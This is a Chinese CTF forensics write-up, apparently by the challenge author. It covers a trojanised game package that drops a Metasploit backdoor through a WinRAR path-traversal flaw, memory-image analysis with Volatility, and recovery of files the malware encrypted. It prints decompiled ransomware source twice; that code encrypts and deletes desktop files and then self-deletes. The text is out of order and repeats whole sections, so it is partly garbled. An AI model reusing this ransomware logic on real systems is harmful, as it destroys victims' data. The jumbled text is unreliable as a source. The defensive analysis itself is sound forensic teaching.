将其丢给云沙箱,可以直接看到他其实是Metasploit家族的后门,实际上他是利用msf生成的一个后门payload,受害者将其解压到启动项目录后,每次开机都会自动启动这个程序,然后攻击者就可以通过其后门进行连接,然后执行一系列操作进行提权等恶意行为

所以问题1的提权工具是Metasploit

image-20251012165350465

问题2 维权账户

攻击者在提权成功后,在受害者的系统中创建了对应的隐藏账户用于维持权限,并且清楚了命令记录,因此没有办法通过查询相关记录(net user)来直接搜寻隐藏账户,但事实上在win系统中,存在一个底层的可以记录所有账户包括影子账户的地方,那就是注册表。内存镜像中是会记录系统的注册表信息的,包括对应的键值,我们只需要去分析注册表中SAM里的键值即可,利用vol3中的windows.registry.printkey功能,导出SAM\Domains\Account\Users\Names的键值即可

1python vol.py -f ../memory windows.registry.printkey --key "SAM\Domains\Account\Users\Names"

导出记录后,不难发现存在一个影子账户,名为heicker$,这就是攻击者用于维权的账户

image-20251012170000997

问题3 CVE编号

攻击者在攻击过程中利用的cve漏洞实际上与问题1相关,前面我们可以看到压缩包里存在下面这么个奇妙的目录路径.. / .. /AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup

不难猜到这是一个目录穿越的操作,通过目录穿越定位到受害者的启动项目录,从而将恶意程序解压到启动项中

image-20251012170056294

这部分的引导可能相对较少(不过好像可以非,Aura师傅找到了生成poc的压缩包名,里面有cve编号hhhh),实际上这里利用了今年的winrar目录穿越漏洞(CVE-2025-6218),在7.11版本以前的winrar中解压这个恶意压缩包就会将恶意程序解压到指定目录,从而遭到攻击

问题4 社交软件发送压缩包的时间

这题可能稍微难一点,出这问的契机是ycb的前一两周,咱们联队打了一个国外赛里面有一题取证,附件给了一个dwm.exe(桌面窗口管理器)的进程内存转储,用gimp或者lovelypixelweaver(伟大无需多言)进行查看,通过调整偏移可以看到桌面的窗口信息,从而拿到flag

所以这里我模仿了这道取证的做法,通过查看pslist可以看到qq进程是还在的,那说明可能可以看到对应的窗口情况,老样子用memmap提取他的内存转储,然后用lovelypixelweaver去看偏移即可

1 python vol.py -f ../memory windows.memmap --pid 424 --dump

image-20251012171812053

但直到这里,这题还没结束,因为如果要去看窗口信息的话,我们还得调整宽度,而这个宽度,实际上就跟我们平时做图片隐写中调整图片宽度类似,如果宽度对应不上的话,那他的画面就没有办法正常显示,所以我们需要知道窗口的宽度,一般来说就是桌面的分辨率

但是本题系统的分辨率不是常规的大小,而是1718x926,所以关键是如何确认系统的分辨率

image-20251012172002130

到这里就已经没有别的信息了,我们再看看附件的其他内容

回到前面的压缩包,简单分析可以发现这是个python打包的exe文件,版本为3.13,所以对其进行解包和反编译

image-20251012172239336

反编译出源码后,可以发现他按照桌面大小设置了一张桌面,名字为wallpaper.png

  1# Decompiled with PyLingual (https://pylingual.io)
  2# Internal filename: launch.py
  3# Bytecode version: 3.13.0rc3 (3571)
  4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
  5
  6import ctypes
  7import hashlib
  8import subprocess
  9import sys
 10import time
 11import win32serviceutil
 12import win32service
 13import win32event
 14import servicemanager
 15from PIL import Image, ImageDraw, ImageFont
 16import random
 17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
 18import Secr3ts
 19import base64
 20import os
 21
 22def get_screen_resolution():
 23    user32 = ctypes.windll.user32
 24    width = user32.GetSystemMetrics(0)
 25    height = user32.GetSystemMetrics(1)
 26    return (width, height)
 27
 28def create_wallpaper(width, height, text, subtext):
 29    image = Image.new('RGB', (width, height), color=(0, 0, 0))
 30    draw = ImageDraw.Draw(image)
 31    try:
 32        font = ImageFont.truetype('arial.ttf', 150)
 33    bbox = draw.textbbox((0, 0), text, font=font)
 34    text_width = bbox[2] - bbox[0]
 35    text_height = bbox[3] - bbox[1]
 36    position = ((width - text_width) // 2, (height - text_height) // 2)
 37    draw.text(position, text, fill=(0, 255, 0), font=font)
 38    subtext_font = ImageFont.truetype('arial.ttf', 50)
 39    subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
 40    subtext_width = subtext_bbox[2] - subtext_bbox[0]
 41    subtext_height = subtext_bbox[3] - subtext_bbox[1]
 42    subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
 43    draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
 44    for _ in range(100):
 45        x = random.randint(0, width)
 46        y = random.randint(0, height)
 47        char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
 48        color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
 49        draw.text((x, y), char, fill=color, font=font)
 50    sysRoot = os.path.expanduser('~')
 51    picture = os.path.join(sysRoot, 'Pictures/')
 52    image.save(picture + 'wallpaper.png')
 53    except IOError:
 54        font = ImageFont.load_default()
 55
 56def set_wallpaper():
 57    SPI_SETDESKWALLPAPER = 20
 58    sysRoot = os.path.expanduser('~')
 59    picture = os.path.join(sysRoot, 'Pictures/')
 60    WALLPAPER_PATH = picture + 'wallpaper.png'
 61    ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
 62
 63def cal_md5(image_path):
 64    with open(image_path, 'rb') as fp:
 65        data = fp.read()
 66    file_md5 = hashlib.md5(data).hexdigest()
 67    return file_md5
 68SERVICE_NAME = None
 69SERVICE_DISPLAY_NAME = None
 70DUMMY_EXE_NAME = None
 71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
 72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
 73
 74class MySimpleService(win32serviceutil.ServiceFramework):
 75    _svc_name_ = SERVICE_NAME
 76    _svc_display_name_ = SERVICE_DISPLAY_NAME
 77
 78    def __init__(self, args):
 79        win32serviceutil.ServiceFramework.__init__(self, args)
 80        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
 81
 82    def SvcStop(self):
 83        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
 84        win32event.SetEvent(self.hWaitStop)
 85
 86    def SvcDoRun(self):
 87        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
 88        win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
 89
 90def svc_register(key):
 91    try:
 92        with open(DUMMY_EXE_PATH, 'w') as f:
 93            f.write(key.hex())
 94                win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
 95    except Exception as e:
 96        print(f'安装失败: {e}')
 97
 98def custom_b64encode(data: bytes) -> bytes:
 99    STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100    if getattr(sys, 'frozen', False):
101        base_path = sys._MEIPASS
102    exe_path = os.path.join(base_path, 'ab.exe')
103    subprocess.run([exe_path], check=False)
104    sysRoot = os.path.expanduser('~')
105    db_path = None
106    with open(db_path, 'rb') as f:
107        CUSTOM_B64 = f.read().strip()
108    std = base64.b64encode(data)
109    trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110    return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113    iv = bytes(iv, 'utf-8')
114    what = 'augabevoli'
115    xor_str = what[::(-1)].encode('utf-8')
116    xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117    svc_register(xor_key)
118    with open(infile, 'rb') as f:
119        data = f.read()
120    pad_len = 16 - len(data) % 16
121    data_padded = data + bytes([pad_len] * pad_len)
122    sm4 = CryptSM4()
123    sm4.set_key(key, SM4_ENCRYPT)
124    enc = sm4.crypt_cbc(iv, data_padded)
125    b64 = custom_b64encode(enc)
126    with open(outfile, 'wb') as f:
127        f.write(b64)
128    os.remove(infile)
129
130def encrypt_desktop():
131    file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132    key = os.urandom(16)
133    sysRoot = os.path.expanduser('~')
134    localRoot = os.path.join(sysRoot, 'Desktop/')
135    picture = os.path.join(sysRoot, 'Pictures/')
136    system = os.walk(localRoot, topdown=True)
137    for root, dir, files in system:
138        for file in files:
139            file_path = os.path.join(root, file)
140            if file.split('.')[(-1)] not in file_types:
141                continue
142            if file.split('.')[(-1)] == 'ciallo':
143                continue
144            b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145            encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146    dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147    time.sleep(3)
148    cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149    subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151    width, height = get_screen_resolution()
152    create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153    set_wallpaper()
154    encrypt_desktop()

image-20251012172301480

既然如此,我们用vol3扫一下文件,可以发现确实有这么一张图片

image-20251012172540595

dump下来,看看属性就知道分辨率是多少了

image-20251012172521955

根据分辨率去调整前面的参数,然后慢慢调整偏移即可找到qq窗口,在里面我们可以看到发送时间,为06:45

image-20251012172652040

问题5 恶意程序中的token

恶意程序中的token,让我们再看看反编译出来的源码,明显发现这里导入了一个Secr3ts的库,所以我们需要去看看这个库里的代码是啥,注意这里用的是3.13进行打包,所以在解包过程中需要用3.13版本进行解包,否则没办法在PYZ.pyz_extracted目录中找到Secr3ts的pyc文件

 1# Decompiled with PyLingual (https://pylingual.io)
 2# Internal filename: launch.py
 3# Bytecode version: 3.13.0rc3 (3571)
 4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
 5
 6import ctypes
 7import hashlib
 8import subprocess
 9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts  # 很奇怪
19import base64
20import os

image-20251012172830703

用https://pylingual.io/ 反编译一下,看看里面的代码,简单审计一下可以看到里面有一个G1f7函数,里面其实就是token值的一个输出,其他都是用来混淆的

  1# Decompiled with PyLingual (https://pylingual.io)
  2# Internal filename: Secr3ts.py
  3# Bytecode version: 3.13.0rc3 (3571)
  4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
  5
  6global _counter  # inserted
  7import time
  8import random
  9import hashlib
 10import base64
 11from functools import wraps
 12
 13def xor_bytes(data, key):
 14    return bytes([b ^ key for b in data])
 15CONFIG_VERSION = 'v3.1.9'
 16_SYSTEM_ID = hashlib.sha1(b'noise').hexdigest()
 17_magic_table = [(i * 37 ^ 85) & 255 for i in range(256)]
 18
 19class FakeCache:
 20    def __init__(self):
 21        self._store = {}
 22
 23    def set(self, k, v):
 24        key = hashlib.md5(str(k).encode()).hexdigest()
 25        self._store[key] = (v, time.time())
 26
 27    def get(self, k, default=None):
 28        key = hashlib.md5(str(k).encode()).hexdigest()
 29        v = self._store.get(key, (default, 0))[0]
 30        return v
 31
 32    def purge_old(self, age=60):
 33        now = time.time()
 34        keys = list(self._store.keys())
 35        for k in keys:
 36            if now - self._store[k][1] > age:
 37                pass  # postinserted
 38            else:  # inserted
 39                del self._store[k]
 40_cache = FakeCache()
 41
 42def verbose_marker(name):
 43    def deco(f):
 44        @wraps(f)
 45        def wrapped(*a, **kw):
 46            h = hashlib.blake2b((name + str(a) + str(kw)).encode(), digest_size=6).hexdigest()
 47            _cache.set('mark_' + name, h)
 48            return f(*a, **kw)
 49        return wrapped
 50    return deco
 51
 52def poly_noise(x):
 53    s = 0
 54    for i in range(1, 16):
 55        s += x ** i % (i + 7) * (i ^ 3)
 56    return s
 57
 58def weird_transform(s):
 59    a = s.encode('utf-8')
 60    b = base64.b64encode(a).decode()
 61    c = hashlib.sha1(b.encode()).hexdigest()
 62    return c[:12]
 63
 64class PhantomStateMachine:
 65    def __init__(self):
 66        self.s = 0
 67        self.history = []
 68
 69    def step(self, val):
 70        self.s = self.s * 31 + (val ^ 85) & 4294967295
 71        self.history.append(self.s)
 72        return self.s
 73
 74    def snapshot(self):
 75        return tuple(self.history[(-5):])
 76
 77    def reset(self):
 78        self.s = 0
 79        self.history.clear()
 80_phantom = PhantomStateMachine()
 81
 82def pretend_network_send(payload):
 83    time.sleep(0.001)
 84    return {'status': 'ok', 'echo': hashlib.md5(payload.encode()).hexdigest()[:8]}
 85
 86def pretend_read_file(path):
 87    try:
 88        with open(path, 'rb') as f:
 89            data = f.read(32)
 90            return data
 91    except Exception:
 92        return b''
 93
 94def random_walk(seed, steps=100):
 95    r = seed
 96    for i in range(steps):
 97        r = r << 1 | r >> 3 ^ i * 158
 98        yield (r & 4294967295)
 99
100def meaningless_loop():
101    acc = 0
102    for v in random_walk(66, 20):
103        acc ^= v & 255
104        if acc & 1:
105            pass  # postinserted
106        else:  # inserted
107            acc = acc << 1 & 4294967295
108    return acc
109
110def try_many_things():
111    try:
112        _ = int(hashlib.md5(b'x').hexdigest()[:6], 16)
113        return 'done'
114    except Exception:
115        for i in range(3):
116            continue
117        return 'done'
118    except:
119        return 'done'
120
121def fake_sorter(seq):
122    a = list(seq)
123    n = len(a)
124    for i in range(n):
125        for j in range(0, n - i - 1):
126            if a[j] ^ 170 > a[j + 1] ^ 170:
127                pass  # postinserted
128            else:  # inserted
129                a[j], a[j + 1] = (a[j + 1], a[j])
130    return a
131
132class Obfuscator:
133    def __init__(self, seed=4660):
134        self.seed = seed
135        self.table = [_ for _ in range(256)]
136        random.shuffle(self.table)
137
138    def mix(self, data):
139        return bytes([b ^ self.seed & 255 for b in data])
140
141    def heavy(self, data):
142        out = bytearray()
143        for i, b in enumerate(data):
144            out.append((b ^ self.table[i % 256]) & 255)
145        return bytes(out)
146_obf = Obfuscator(seed=21930)
147
148def f_a(x):
149    return (x * 7 ^ 5) & 255
150
151def f_b(x):
152    return (x + 13) % 256
153
154def f_c(x):
155    return x << 2 & 255
156_mystery_blob = ''.join((chr((i * 3 + 7) % 255) for i in range(512)))
157_counter = 0
158
159def orchestrator(flag=False):
160    global _counter  # inserted
161    _counter += 1
162    if flag:
163        _cache.purge_old(age=1)
164        _phantom.step(_counter)
165        return _counter
166
167def G1f7():   # 有问题
168    what = '167307700b740d76'
169    xor_key = 66
170    orchestrator(flag=bool(len(what) % 2))
171    _cache.set('len_what', len(what))
172    token_bytes = xor_bytes(bytes.fromhex(what), xor_key)
173    token_clean = token_bytes
174    try:
175        token = token_clean.decode('utf-8')
176    _ = meaningless_loop()
177    pretend_network_send(token[:4])
178    print(token)
179    return token
180    except Exception:
181        token = token_clean.decode('latin1')
182
183def long_useless_procedure():
184    res = []
185    for i in range(50):
186        a = f_a(i)
187        b = f_b(i)
188        c = f_c(i)
189        res.append((a, b, c))
190        _phantom.step(i) if i % 7 == 3 else i
191        if i % 11 == 0:
192            pass  # postinserted
193        else:  # inserted
194            _cache.set('checkpoint_' + str(i), (a, b, c))
195    flat = [x for t in res for x in t]
196    s = sum(flat) & 65535
197    return hashlib.sha256(str(s).encode()).hexdigest()
198
199def nested_confusion(level):
200    if level <= 0:
201        pass  # postinserted
202    return 0
203
204class RedHerring:
205    def __init__(self):
206        self.a = meaningless_loop()
207        self.b = long_useless_procedure()
208
209    def run(self):
210        for i in range(10):
211            _cache.set('rh' + str(i), (self.a, self.b, i))
212            _ = nested_confusion(i % 4)
213        return True
214_h1 = RedHerring()
215_h2 = RedHerring()
216_h3 = RedHerring()
217
218def generate_noise_strings(n=100):
219    out = []
220    for i in range(n):
221        cs = ''.join((chr((i * 37 + j * 11) % 127 + 32) for j in range(32)))
222        out.append(cs)
223    return out
224_noise_strings = generate_noise_strings(80)
225if __name__ == '__main__':
226    print('CONFIG', CONFIG_VERSION)
227    print('SYSID', _SYSTEM_ID[:12])
228    print('CACHE_SAMP', _cache.get('len_what'))
229    _h1.run()
230    _h2.run()
231    _ = long_useless_procedure()

简单分析G1f7的代码,然后解出token即可,答案为T1E2I6O4

问题6 绝密文件的重要密钥

接着分析launch的源码,源码中存在部分None值,是刻意构造的,但可以通过代码中的逻辑来推断进行了什么操作

可以发现他实现了一个对桌面文件加密的功能,用的是sm4的cbc模式,并且还用了自定义的base64字母表

分析源码可以知道加密的偏移量(iv)是wallpaper的md5值取[4:20]的16位,然后key是随机生成的,生成后被经过异或存储到了一个未知文件中,且用这个文件建立了一个服务(svc_register)。而自定义的base64则是用一个ab.exe生成的

  1# Decompiled with PyLingual (https://pylingual.io)
  2# Internal filename: launch.py
  3# Bytecode version: 3.13.0rc3 (3571)
  4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
  5
  6import ctypes
  7import hashlib
  8import subprocess
  9import sys
 10import time
 11import win32serviceutil
 12import win32service
 13import win32event
 14import servicemanager
 15from PIL import Image, ImageDraw, ImageFont
 16import random
 17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
 18import Secr3ts
 19import base64
 20import os
 21
 22def get_screen_resolution():
 23    user32 = ctypes.windll.user32
 24    width = user32.GetSystemMetrics(0)
 25    height = user32.GetSystemMetrics(1)
 26    return (width, height)
 27
 28def create_wallpaper(width, height, text, subtext):
 29    image = Image.new('RGB', (width, height), color=(0, 0, 0))
 30    draw = ImageDraw.Draw(image)
 31    try:
 32        font = ImageFont.truetype('arial.ttf', 150)
 33    bbox = draw.textbbox((0, 0), text, font=font)
 34    text_width = bbox[2] - bbox[0]
 35    text_height = bbox[3] - bbox[1]
 36    position = ((width - text_width) // 2, (height - text_height) // 2)
 37    draw.text(position, text, fill=(0, 255, 0), font=font)
 38    subtext_font = ImageFont.truetype('arial.ttf', 50)
 39    subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
 40    subtext_width = subtext_bbox[2] - subtext_bbox[0]
 41    subtext_height = subtext_bbox[3] - subtext_bbox[1]
 42    subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
 43    draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
 44    for _ in range(100):
 45        x = random.randint(0, width)
 46        y = random.randint(0, height)
 47        char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
 48        color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
 49        draw.text((x, y), char, fill=color, font=font)
 50    sysRoot = os.path.expanduser('~')
 51    picture = os.path.join(sysRoot, 'Pictures/')
 52    image.save(picture + 'wallpaper.png')
 53    except IOError:
 54        font = ImageFont.load_default()
 55
 56def set_wallpaper():
 57    SPI_SETDESKWALLPAPER = 20
 58    sysRoot = os.path.expanduser('~')
 59    picture = os.path.join(sysRoot, 'Pictures/')
 60    WALLPAPER_PATH = picture + 'wallpaper.png'
 61    ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
 62
 63def cal_md5(image_path):
 64    with open(image_path, 'rb') as fp:
 65        data = fp.read()
 66    file_md5 = hashlib.md5(data).hexdigest()
 67    return file_md5
 68SERVICE_NAME = None
 69SERVICE_DISPLAY_NAME = None
 70DUMMY_EXE_NAME = None
 71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
 72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
 73
 74class MySimpleService(win32serviceutil.ServiceFramework):
 75    _svc_name_ = SERVICE_NAME
 76    _svc_display_name_ = SERVICE_DISPLAY_NAME
 77
 78    def __init__(self, args):
 79        win32serviceutil.ServiceFramework.__init__(self, args)
 80        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
 81
 82    def SvcStop(self):
 83        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
 84        win32event.SetEvent(self.hWaitStop)
 85
 86    def SvcDoRun(self):
 87        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
 88        win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
 89
 90def svc_register(key):
 91    try:
 92        with open(DUMMY_EXE_PATH, 'w') as f:
 93            f.write(key.hex())
 94                win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
 95    except Exception as e:
 96        print(f'安装失败: {e}')
 97
 98def custom_b64encode(data: bytes) -> bytes:
 99    STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100    if getattr(sys, 'frozen', False):
101        base_path = sys._MEIPASS
102    exe_path = os.path.join(base_path, 'ab.exe')
103    subprocess.run([exe_path], check=False)
104    sysRoot = os.path.expanduser('~')
105    db_path = None
106    with open(db_path, 'rb') as f:
107        CUSTOM_B64 = f.read().strip()
108    std = base64.b64encode(data)
109    trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110    return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113    iv = bytes(iv, 'utf-8')
114    what = 'augabevoli'
115    xor_str = what[::(-1)].encode('utf-8')
116    xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117    svc_register(xor_key)
118    with open(infile, 'rb') as f:
119        data = f.read()
120    pad_len = 16 - len(data) % 16
121    data_padded = data + bytes([pad_len] * pad_len)
122    sm4 = CryptSM4()
123    sm4.set_key(key, SM4_ENCRYPT)
124    enc = sm4.crypt_cbc(iv, data_padded)
125    b64 = custom_b64encode(enc)
126    with open(outfile, 'wb') as f:
127        f.write(b64)
128    os.remove(infile)
129
130def encrypt_desktop():
131    file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132    key = os.urandom(16)
133    sysRoot = os.path.expanduser('~')
134    localRoot = os.path.join(sysRoot, 'Desktop/')
135    picture = os.path.join(sysRoot, 'Pictures/')
136    system = os.walk(localRoot, topdown=True)
137    for root, dir, files in system:
138        for file in files:
139            file_path = os.path.join(root, file)
140            if file.split('.')[(-1)] not in file_types:
141                continue
142            if file.split('.')[(-1)] == 'ciallo':
143                continue
144            b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145            encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146    dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147    time.sleep(3)
148    cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149    subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151    width, height = get_screen_resolution()
152    create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153    set_wallpaper()
154    encrypt_desktop()

wallpaper前面已经获得了,直接计算md5即可(要记得清掉后面的空白冗余数据)

而key则需要对内存镜像进行分析,找出奇怪的服务(因为代码中没有给出服务的信息)

用vol3中windows.svclist这个命令扫一遍镜像中的服务,简单分析一下,可以看到一个奇怪的进程(甚至在第一行),其指向了一个在system32目录中的一个exe文件

image-20251008002908938

将其dump下来,查看一下内容,可以看到就是我们要的被处理过的key,然后根据源码中的逻辑异或会正确的key即可

image-20251008003012997

最后是base64的字母表,在解包后的目录中可以找到ab.exe

image-20251008003102800

用ida简单分析即可,进去就是main函数,不懂得直接丢给ai,可以知道这里是生成了一个固定头的随机base64字母表,并存入了一个文件中,但是不知道是哪个文件,但既然知道固定了头是Cial1oL5s0cut3,而且代码中没有奇怪的加密或者混淆处理,那么直接对内存进行搜索

image-20251008003145942

直接拿010爆搜即可,就能找到完整的自定义字母表了

image-20251008003331271

最后自己写个脚本解密即可

 1from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT
 2import base64
 3
 4key = 'e1287afc7a0526ea7f55774192fd8c5a'
 5key = bytes.fromhex(key)
 6print(key.hex())
 7iv = b'47284e7609e7017d'
 8
 9what = 'augabevoli'
10xor_str = what[::-1].encode('utf-8')
11xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
12print('XOR 后的 key:', xor_key.hex())
13
14STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
15CUSTOM_B64   = b'Cial1oL5s0cut3PTYwZMy/BRWIdGfJSNmj2Fq4QhneXH9v8rx6O+Vz7KbAgUkDpE'
16
17
18def custom_b64decode(data: bytes) -> bytes:
19    trans_table = bytes.maketrans(CUSTOM_B64, STANDARD_B64)
20    std = data.translate(trans_table)
21    return base64.b64decode(std)
22
23
24def sm4_decrypt_file(infile: str, outfile: str):
25    with open(infile, 'rb') as f:
26        data = custom_b64decode(f.read())
27    sm4 = CryptSM4()
28    sm4.set_key(key, SM4_DECRYPT)
29    dec = sm4.crypt_cbc(iv, data)
30    dec = dec.rstrip(b'\x00')
31    with open(outfile, 'wb') as f:
32        f.write(dec)
33    print(f'文件已解密 → {outfile}')
34
35
36sm4_decrypt_file('绝密.ciallo', 'recover.pdf')

恢复完成后,打开pdf文档即可看到里面的密钥,值为MIE_CTF_2025_T0k3n_#S3cur3!V3#

image-20251012173450307 致敬爱的ycb选手们: 敬请期待 ​ 很荣幸这次能够作为出题人&运维参与到这次的羊城杯赛事中,我主要负责了两道misc题目,一个是《别笑,你试你也过不了第二关》,另一个就是取证题《你也是旮旯给木大师?》,第一题作为“简单”难度的题目,题解数还是比较可观,且网上也有一些相关的方法(特别是第二关),遂不在这进行WP的展示。而取证则与前一题形成了极大的差距,截止到比赛结束,四个赛道也仅有一个题解……

​ 在这里必须给每位在《你也是旮旯给木大师?》中艰难奋斗过的选手说一声实在抱歉,出题人给您滑跪了ORZ 比赛过程中经过反思感觉题目的引导性还是不够直白,题目的设置也存在一定的歧义,镜像的处理还是不够完善,可能导致了部分选手走了许多的弯路,尽管后面给出了一些hint,也还是没有办法更多的推动选手们去完成这道题,真的很抱歉啊ORZ 你们能不能轻点骂呜呜呜

​ 最后还是老样子,很开心有机会参与这次的出题,也是我第一次参与ycb的相关工作,希望明年能够好好努力,给大家出点真正好的题目(轻点骂轻点骂ORZ)

题目信息

题目名:你也是旮旯给木大师? 题目描述:我结识了一位自称喜欢旮旯给木的师傅,并从他那要来了一份整合包,殊不知这便是我踏入陷阱的开始……

1.攻击者用于提权的工具是? 2.攻击者用于维权的账户的账户名是? 3.攻击者在攻击过程中利用了某个CVE漏洞,其编号为? (示例: CVE-2024-3102) 4.攻击者通过某社交软件给受害者发送恶意压缩包的时间是? (示例: 14:52) 5.攻击者在恶意程序内藏有一串token,其值为? 6.绝密文件中含有一个重要密钥,其值是?

1Metasploit_heicker$_CVE-2025-6218_06:45_T1E2I6O4_MIE_CTF_2025_T0k3n_#S3cur3!V3#

问题1 提权工具

题目附件如下,分别是一个压缩包,一个ciallo文件,一个memory内存镜像

image-20251012164743166

先来观察一下压缩包,有三个点比较可疑,首先有一个launch.exe,然后最下面的文档说明了要用管理员模式进行启动,使用管理员模式启动的话就可能会执行一些需要管理员权限才能执行的操作,这里实际上是攻击者用来引导受害者的;而剩下的一个名字为空的目录看着比较奇怪

image-20251012164846653

进入这个目录中分析,会发现他里面套了很多层目录,而且这个目录路径其实就是我们c盘用户目录中的启动项的目录路径,在Startup目录中存了一个Genshin.exe

image-20251012165026201

将其提取出来,如果恰好你有开杀毒的话,也许他就会被查杀,这边可以看到火绒显示这是个后门病毒,而且显示为Meterpreter

image-20251012165154660

将其丢给云沙箱,可以直接看到他其实是Metasploit家族的后门,实际上他是利用msf生成的一个后门payload,受害者将其解压到启动项目录后,每次开机都会自动启动这个程序,然后攻击者就可以通过其后门进行连接,然后执行一系列操作进行提权等恶意行为

所以问题1的提权工具是Metasploit

image-20251012165350465

问题2 维权账户

攻击者在提权成功后,在受害者的系统中创建了对应的隐藏账户用于维持权限,并且清楚了命令记录,因此没有办法通过查询相关记录(net user)来直接搜寻隐藏账户,但事实上在win系统中,存在一个底层的可以记录所有账户包括影子账户的地方,那就是注册表。内存镜像中是会记录系统的注册表信息的,包括对应的键值,我们只需要去分析注册表中SAM里的键值即可,利用vol3中的windows.registry.printkey功能,导出SAM\Domains\Account\Users\Names的键值即可

1python vol.py -f ../memory windows.registry.printkey --key "SAM\Domains\Account\Users\Names"

导出记录后,不难发现存在一个影子账户,名为heicker$,这就是攻击者用于维权的账户

image-20251012170000997

问题3 CVE编号

攻击者在攻击过程中利用的cve漏洞实际上与问题1相关,前面我们可以看到压缩包里存在下面这么个奇妙的目录路径.. / .. /AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup

不难猜到这是一个目录穿越的操作,通过目录穿越定位到受害者的启动项目录,从而将恶意程序解压到启动项中

image-20251012170056294

这部分的引导可能相对较少(不过好像可以非,Aura师傅找到了生成poc的压缩包名,里面有cve编号hhhh),实际上这里利用了今年的winrar目录穿越漏洞(CVE-2025-6218),在7.11版本以前的winrar中解压这个恶意压缩包就会将恶意程序解压到指定目录,从而遭到攻击

问题4 社交软件发送压缩包的时间

这题可能稍微难一点,出这问的契机是ycb的前一两周,咱们联队打了一个国外赛里面有一题取证,附件给了一个dwm.exe(桌面窗口管理器)的进程内存转储,用gimp或者lovelypixelweaver(伟大无需多言)进行查看,通过调整偏移可以看到桌面的窗口信息,从而拿到flag

所以这里我模仿了这道取证的做法,通过查看pslist可以看到qq进程是还在的,那说明可能可以看到对应的窗口情况,老样子用memmap提取他的内存转储,然后用lovelypixelweaver去看偏移即可

1 python vol.py -f ../memory windows.memmap --pid 424 --dump

image-20251012171812053

但直到这里,这题还没结束,因为如果要去看窗口信息的话,我们还得调整宽度,而这个宽度,实际上就跟我们平时做图片隐写中调整图片宽度类似,如果宽度对应不上的话,那他的画面就没有办法正常显示,所以我们需要知道窗口的宽度,一般来说就是桌面的分辨率

